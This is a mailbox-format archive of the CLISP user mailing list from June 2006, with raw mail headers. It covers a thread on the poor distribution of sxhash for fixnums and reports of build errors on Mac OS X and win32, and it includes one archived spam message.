http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pjb@informatimago.com Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 17:37:30 -0000 Sam Steingold writes: > > * Pascal Bourguignon [2006-06-15 01:00:10 +0200]: > > > > (loop for i from 1 to 10 do (princ " ")(prin1 (- (sxhash i) (sxhash(1- i))))) > > > > clisp: 32 32 32 32 32 32 32 32 32 32 > > sbcl: 16 17 16 -115 16 17 16 149 16 17 > > cmucl: 1 1 1 1 1 1 1 1 1 1 > > gcl: 1 1 1 1 1 1 1 1 1 1 > > ecl: 247599786 110122623 -16536912 -12603779 -282139104 329412148 > > 74867061 -242671325 116844443 132495665 > > > > > > When used to implement hash-table like structures, the clisp sxhash > > function on fixnum gives an undesirable bad behavior > > > > Note that the specification of sxhash says: > > > > 4. > > The hash-code is intended for hashing. This places no verifiable > > constraint on a conforming implementation, but the intent is that an > > implementation should make a good-faith effort to produce hash-codes > > that are well distributed within the range of non-negative fixnums. > > > > Obviously, clisp's sxhash on fixnum is not well distributed. > > > > I think that for fixnums, returning the fixnum value itself would be a > > good behavior for sxhash (that's what cmucl and gcl do). > > > > (defun sxhash (x) > > (typecase x > > (fixnum x) > > ...)) > > I am confused. > how is clisp behavior worse than that of cmucl and gcl?! The basic indexing inside the hash table can be written as: (aref buckets (mod (sxhash key) (length buckets))) When (length bucket) is not prime to the delta sxhash, some slots are never reached. (loop with size = 20 with b = (make-array size :element-type 'bit :initial-element 0) for i from 0 to (* 2 size) do (setf (aref b (mod (sxhash i) size)) 1) finally (return b)) --> #*10001000100010001000 But with the fixnum value as hash, all slots can be used: (loop with size = 20 with b = (make-array size :element-type 'bit :initial-element 0) for i from 0 to (* 2 size) do (setf (aref b (mod i size)) 1) finally (return b)) --> #*11111111111111111111 -- __Pascal Bourguignon__ http://www.informatimago.com/ "You can tell the Lisp programmers. They have pockets full of punch cards with close parentheses on them." --> http://tinyurl.com/8ubpf From sds@podval.org Thu Jun 15 10:50:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fqvyy-0008LY-0G for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:50:16 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fqvys-00035O-EF for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:50:12 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ADCBA6800A8; Thu, 15 Jun 2006 13:50:03 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 7484A3680AA; Thu, 15 Jun 2006 13:50:03 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5FHo3nc028153; Thu, 15 Jun 2006 13:50:03 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5FHnr1a028135; Thu, 15 Jun 2006 13:49:53 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17553.39630.692178.310298@thalassa.informatimago.com> (Pascal Bourguignon's message of "Thu, 15 Jun 2006 19:37:18 +0200") References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> <17553.39630.692178.310298@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Date: Thu, 15 Jun 2006 13:49:53 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 17:50:16 -0000 > * Pascal Bourguignon [2006-06-15 19:37:18 +0200]: > > The basic indexing inside the hash table can be written as: > > (aref buckets (mod (sxhash key) (length buckets))) > > When (length bucket) is not prime to the delta sxhash, some slots are > never reached. > > (loop > with size = 20 > with b = (make-array size :element-type 'bit :initial-element 0) > for i from 0 to (* 2 size) > do (setf (aref b (mod (sxhash i) size)) 1) > finally (return b)) > --> #*10001000100010001000 > > > > But with the fixnum value as hash, all slots can be used: > > (loop > with size = 20 > with b = (make-array size :element-type 'bit :initial-element 0) > for i from 0 to (* 2 size) > do (setf (aref b (mod i size)) 1) > finally (return b)) > --> #*11111111111111111111 interesting. note however that indexing hash table by successive fixnums is not a good idea (a vector would serve better), so I doubt that this could be a problem in practice. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://mideasttruth.com http://jihadwatch.org http://camera.org http://pmw.org.il http://thereligionofpeace.com http://ffii.org I may be getting older, but I refuse to grow up! From pjb@informatimago.com Thu Jun 15 10:59:18 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fqw7h-0000fo-Lx for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:59:17 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fqw7Z-0002Kq-7n for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:59:14 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 39DC4586ED; Thu, 15 Jun 2006 19:58:49 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 98D69586EC; Thu, 15 Jun 2006 19:58:47 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id CB5188FB9; Thu, 15 Jun 2006 19:58:46 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17553.40918.794848.909891@thalassa.informatimago.com> Date: Thu, 15 Jun 2006 19:58:46 +0200 To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> <17553.39630.692178.310298@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 17:59:18 -0000 Sam Steingold writes: > > * Pascal Bourguignon [2006-06-15 19:37:18 +0200]: > > > > The basic indexing inside the hash table can be written as: > > > > (aref buckets (mod (sxhash key) (length buckets))) > > > > When (length bucket) is not prime to the delta sxhash, some slots are > > never reached. > > > > (loop > > with size = 20 > > with b = (make-array size :element-type 'bit :initial-element 0) > > for i from 0 to (* 2 size) > > do (setf (aref b (mod (sxhash i) size)) 1) > > finally (return b)) > > --> #*10001000100010001000 > > > > > > > > But with the fixnum value as hash, all slots can be used: > > > > (loop > > with size = 20 > > with b = (make-array size :element-type 'bit :initial-element 0) > > for i from 0 to (* 2 size) > > do (setf (aref b (mod i size)) 1) > > finally (return b)) > > --> #*11111111111111111111 > > interesting. > note however that indexing hash table by successive fixnums is not a > good idea (a vector would serve better), so I doubt that this could be a > problem in practice. This is irrelevant. Even if you use random fixnums, you get the same effect: (loop with size = 20 with b = (make-array size :element-type 'bit :initial-element 0) for i from 0 to size do (setf (aref b (mod (sxhash (random most-positive-fixnum)) size)) 1) finally (return b)) --> #*01101110111111100101 (loop with size = 40 with b = (make-array size :element-type 'bit :initial-element 0) for i from 0 to size do (setf (aref b (mod (sxhash (random most-positive-fixnum)) size)) 1) finally (return b)) #*0101101011011100011111101110011110101110 Note that users may want to size the hash-table according to the number of entries, in the hope to avoid non-singleton buckets. But sxhash = fixnum*32 leads to more collisions than necessary even with oversized tables. -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From don-sourceforge-xx@isis.cs3-inc.com Thu Jun 15 12:02:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fqx7E-0006VX-WA for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 12:02:53 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fqx7D-0007GE-B6 for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 12:02:52 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 5AD971A818F; Thu, 15 Jun 2006 12:02:40 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17553.44752.310115.31563@isis.cs3-inc.com> Date: Thu, 15 Jun 2006 12:02:40 -0700 To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20060610160225.17F651A818F@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Mac tiger make distrib available for CVS ~2006/6/9 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 19:02:53 -0000 Sam Steingold writes: > > * Don Cohen [2006-06-10 09:02:25 -0700]: > > > > I would be interested in finding out how well it works on other Macs. The line above actually meant that I was interested in what happens when people try to use the distribution I advertised. I'm not sure, but it looks to me like you're building from source below and wondering what's the difference between your environment and mine. I gather this is what you want: elisabeth-cohens-ibook:~ emmacohen$ uname -a Darwin elisabeth-cohens-ibook.local 8.6.0 Darwin Kernel Version 8.6.0: Tue Mar 7 16:58:48 PST 2006; root:xnu-792.6.70.obj~1/RELEASE_PPC Power Macintosh powerpc elisabeth-cohens-ibook:~ emmacohen$ gcc -v Using built-in specs. Target: powerpc-apple-darwin8 Configured with: /private/var/tmp/gcc/gcc-5026.obj~19/src/configure --disable-checking --prefix=/usr --mandir=/share/man --enable-languages=c,objc,c++,obj-c++ --program-transform-name=/^[cg][^+.-]*$/s/$/-4.0/ --with-gxx-include-dir=/include/gcc/darwin/4.0/c++ --build=powerpc-apple-darwin8 --host=powerpc-apple-darwin8 --target=powerpc-apple-darwin8 Thread model: posix gcc version 4.0.0 (Apple Computer, Inc. build 5026) > sf cf ppc-osx3 > Darwin ppc-osx3.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed > Sep 10 15:20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC Power > Macintosh powerpc > gcc (GCC) 3.1 20020420 (prerelease) > > builds lisp.run and lispinit.mem but then fails with > > gcc -I/home/users/s/sd/sds/top/Darwin-Power_Macintosh/include -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c > lispbibl.d:938: only 0 args to macro 'STRING' (1 expected) > lispbibl.d:938: illegal function call, found `STRING' > lispbibl.d:939: only 0 args to macro 'STRING' (1 expected) > lispbibl.d:939: illegal function call, found `STRING' > lispbibl.d:1463: only 0 args to macro 'STRING' (1 expected) > lispbibl.d:1463: illegal function call, found `STRING' > lispbibl.d:3612: only 0 args to macro 'STRING' (1 expected) > lispbibl.d:3612: illegal function call, found `STRING' > cpp-precomp: warning: errors during smart preprocessing, retrying in basic mode > make: *** [genclisph.o] Error 1 > > adding --traditional-cpp: > > lispbibl.d:2925: #error "CLISP has not been ported to this platform - oint_type_len undefined" > lispbibl.d:8595: unterminated #else conditional > > what is your gcc/uname? From sds@podval.org Thu Jun 15 12:31:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqxYa-00013T-Cz for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 12:31:08 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FqxYV-0005Pq-Kj for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 12:31:05 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AAD371E00A4; Thu, 15 Jun 2006 14:45:39 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 860AB36A394; Thu, 15 Jun 2006 14:45:39 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5FIjdOG029084; Thu, 15 Jun 2006 14:45:39 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5FIjVZk029083; Thu, 15 Jun 2006 14:45:31 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060610160225.17F651A818F@isis.cs3-inc.com> (Don Cohen's message of "Sat, 10 Jun 2006 09:02:25 -0700 (PDT)") References: <20060610160225.17F651A818F@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Thu, 15 Jun 2006 14:45:31 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Mac tiger make distrib available for CVS ~2006/6/9 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 19:31:08 -0000 > * Don Cohen [2006-06-10 09:02:25 -0700]: > > I would be interested in finding out how well it works on other Macs. sf cf ppc-osx3 Darwin ppc-osx3.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed Sep 10 15:20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC Power Macintosh powerpc gcc (GCC) 3.1 20020420 (prerelease) builds lisp.run and lispinit.mem but then fails with gcc -I/home/users/s/sd/sds/top/Darwin-Power_Macintosh/include -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c lispbibl.d:938: only 0 args to macro 'STRING' (1 expected) lispbibl.d:938: illegal function call, found `STRING' lispbibl.d:939: only 0 args to macro 'STRING' (1 expected) lispbibl.d:939: illegal function call, found `STRING' lispbibl.d:1463: only 0 args to macro 'STRING' (1 expected) lispbibl.d:1463: illegal function call, found `STRING' lispbibl.d:3612: only 0 args to macro 'STRING' (1 expected) lispbibl.d:3612: illegal function call, found `STRING' cpp-precomp: warning: errors during smart preprocessing, retrying in basic mode make: *** [genclisph.o] Error 1 adding --traditional-cpp: lispbibl.d:2925: #error "CLISP has not been ported to this platform - oint_type_len undefined" lispbibl.d:8595: unterminated #else conditional what is your gcc/uname? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://palestinefacts.org http://iris.org.il http://truepeace.org http://dhimmi.com http://pmw.org.il Profanity is the one language all programmers know best. From sds@podval.org Thu Jun 15 13:48:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fqykz-0007z9-Ne for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 13:48:01 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fqyky-0001Hk-4E for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 13:48:01 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A7788AF00A4; Thu, 15 Jun 2006 16:47:52 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 67A233680AA; Thu, 15 Jun 2006 16:47:51 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5FKlpjm030931; Thu, 15 Jun 2006 16:47:51 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5FKlbli030928; Thu, 15 Jun 2006 16:47:37 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17553.40918.794848.909891@thalassa.informatimago.com> (Pascal Bourguignon's message of "Thu, 15 Jun 2006 19:58:46 +0200") References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> <17553.39630.692178.310298@thalassa.informatimago.com> <17553.40918.794848.909891@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Date: Thu, 15 Jun 2006 16:47:37 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 20:48:02 -0000 please feel free to open a new bug report, similar to http://sourceforge.net/tracker/index.php?func=detail&aid=1208124&group_id=1355&atid=101355 http://sourceforge.net/tracker/index.php?func=detail&aid=948868&group_id=1355&atid=101355 please make the report self-contained, but put there a link to this discussion. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://ffii.org http://iris.org.il http://jihadwatch.org http://mideasttruth.com http://camera.org Stupidity, like virtue, is its own reward. From ljforddrdr@ifpri.u-net.com Thu Jun 15 14:39:59 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqzZH-000408-NS for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 14:39:59 -0700 Received: from bch254.neoplus.adsl.tpnet.pl ([83.27.223.254]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Fqyh0-00037J-QU for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 13:43:57 -0700 Received: from mserv0.u-net.net by bch254.neoplus.adsl.tpnet.pl (Postfix) with ESMTP id 22969AB290 for ; Thu, 15 Jun 2006 15:51:46 -0500 Received: from unknown (170.145.9.51) by mserv0.u-net.net with SMTP id pnVSgok4ddvi for ; Thu, 15 Jun 2006 15:51:46 -0500 From: "Raymond Person" Message-ID: <5657954674.8401193493@ifpri.u-net.com> Date: Thu, 15 Jun 2006 15:51:46 -0500 To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [83.27.223.254 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [83.27.223.254 listed in combined.njabl.org] Subject: [clisp-list] Real virngin girl know X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Raymond Person List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 21:39:59 -0000 The hotxtest babes in the u.s. get down and dirtwy for you olnly at: http://hypermyriorama.nfqjqk.com/?seenwelcome here old ever all the cool link, order legal send, other more see site twice? legal unique "you ever after", zero told out mail , >> loose look beauty twice - they wish . bye-bye Raymond Person From marko.kocic@gmail.com Fri Jun 16 01:42:05 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fr9u1-0000kY-Di for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 01:42:05 -0700 Received: from wr-out-0506.google.com ([64.233.184.233]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fr9tz-0007nB-2y for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 01:42:05 -0700 Received: by wr-out-0506.google.com with SMTP id i30so149151wra for ; Fri, 16 Jun 2006 01:42:01 -0700 (PDT) Received: by 10.54.93.3 with SMTP id q3mr1146001wrb; Fri, 16 Jun 2006 01:42:01 -0700 (PDT) Received: by 10.54.119.18 with HTTP; Fri, 16 Jun 2006 01:42:01 -0700 (PDT) Message-ID: <9238e8de0606160142o8c0ab0em4310f23372ca026d@mail.gmail.com> Date: Fri, 16 Jun 2006 10:42:01 +0200 From: "=?UTF-8?Q?Marko_Koci=C4=87?=" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] win32 compilation error X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 Jun 2006 08:42:05 -0000 Hi, I was trying to compile latest clisp CVS version on win32 using latest mingw and gcc-4.1.1 with the command: ./configure --with-module=bindings/win32 --with-module=rawsock --build build-mingw I get the following error. Configure findings: FFI: yes (user requested: default) readline: no (user requested: default) libsigsegv: yes ./makemake --with-dynamic-ffi --with-module=bindings/win32 --with-module=rawsock --srcdir=../src > Makefile cd ../ && make -f Makefile.devel src/configure make[1]: Entering directory `/c/dev/cvstree/clisp' egrep '(AC_INIT|AC_PREREQ)' src/configure.in > configure.ac echo AC_GNU_SOURCE >> configure.ac cat src/configure.in modules/berkeley-db/configure.in modules/clx/new-clx/configure.in modules/dirkey/configure.in modul es/fastcgi/configure.in modules/i18n/configure.in modules/oracle/configure.in modules/pari/configure.in modules/pcre/con figure.in modules/postgresql/configure.in modules/rawsock/configure.in modules/readline/configure.in modules/regexp/conf igure.in modules/syscalls/configure.in modules/wildcard/configure.in modules/zlib/configure.in | \ egrep -v -e 'AC_(INIT|PREREQ|CANONICAL_|GNU_SOURCE|CONFIG_HEADER|OUTPUT)' \ -e 'AC_CONFIG_FILE.*(Makefile|link\.sh)' >> configure.ac echo AC_OUTPUT >> configure.ac aclocal -I `pwd`/src/m4 --output=src/autoconf/aclocal.m4 /bin/sh: aclocal: command not found make[1]: *** [src/autoconf/aclocal.m4] Error 127 make[1]: Leaving directory `/c/dev/cvstree/clisp' make: *** [../src/configure] Error 2 Thanks, Marko From sds@podval.org Fri Jun 16 05:49:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FrDlu-0005mT-9Y for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 05:49:58 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FrDlq-00011z-OR for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 05:49:58 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A8ED1A340094; Fri, 16 Jun 2006 08:49:49 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id DFB65368219; Fri, 16 Jun 2006 08:49:48 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5GCnmJ7011943; Fri, 16 Jun 2006 08:49:48 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5GCnikk011914; Fri, 16 Jun 2006 08:49:44 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, =?utf-8?Q?Marko_Koci=C4=87?= Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0606160142o8c0ab0em4310f23372ca026d@mail.gmail.com> (Marko =?utf-8?Q?Koci=C4=87's?= message of "Fri, 16 Jun 2006 10:42:01 +0200") References: <9238e8de0606160142o8c0ab0em4310f23372ca026d@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?Q?Marko_Koci?= =?utf-8?Q?=C4=87?= Date: Fri, 16 Jun 2006 08:49:43 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] win32 compilation error X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: 